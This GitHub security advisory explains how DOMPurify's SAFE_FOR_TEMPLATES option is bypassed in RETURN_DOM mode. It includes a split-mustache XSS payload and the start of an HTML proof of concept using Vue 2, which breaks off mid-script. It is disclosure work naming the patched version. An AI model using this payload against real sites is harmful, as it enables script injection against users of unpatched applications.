GitHub Security Advisory: GHSA-crv5-9vww-q3g8
Package: dompurify (NPM)
Severity: MODERATE (CVSS 6.8)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-1289: Improper Validation of Unsafe Equivalence in Input
Vulnerable versions: >= 1.0.10, < 3.4.0
Patched in: 3.4.0

Summary: DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode

Details:
## Summary

| Field | Value |
|:------|:------|
| **Severity** | Medium |
| **Affected** | DOMPurify `main` at [`883ac15`](https://github.com/cure53/DOMPurify/tree/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6), introduced in v1.0.10 ([`7fc196db`](https://github.com/cure53/DOMPurify/commit/7fc196db0b42a0c360262dba0cc39c9c91bfe1ec)) |

`SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2.

## Technical Details

DOMPurify strips template expressions in two passes:

1. **Per-node** — each text node is checked during the tree walk ([`purify.ts:1179-1191`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1179-L1191)):

```js
// pass #1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
  content = currentNode.textContent;
  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -> ' '
  content = content.replace(ERB_EXPR, ' ');        // <%...%> -> ' '
  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -> ' '
  currentNode.textContent = content;
}
```

2. **Final string scrub** — after serialization, the full HTML string is scrubbed again ([`purify.ts:1679-1683`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1679-L1683)). This is the safety net that catches expressions that only form after the DOM settles.

The `RETURN_DOM` path returns before pass #2 ever runs ([`purify.ts:1637-1661`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1637-L1661)):

```js
// purify.ts (simplified)

if (RETURN_DOM) {
  // ... build returnNode ...
  return returnNode;        // <-- exits here, pass #2 never runs
}

// pass #2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;
```

The payload `{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}` exploits this:

1. Parser creates: `TEXT("{")` → `<foo>` → `TEXT("{payload}")` → `<foo>` → `TEXT("}")` — no single node contains `{{`, so pass #1 misses it
2. `<foo>` is not allowed, so DOMPurify removes it but keeps surrounding text
3. The three text nodes are now adjacent — `.outerHTML` reads them as `{{payload}}`, which Vue 2 compiles and executes

## Reproduce

Open the following html in any browser and `alert(1)` pops up.

```html
<!DOCTYPE html>
<html>

<body>
  <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script>
  <script>
    var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
    document.body.app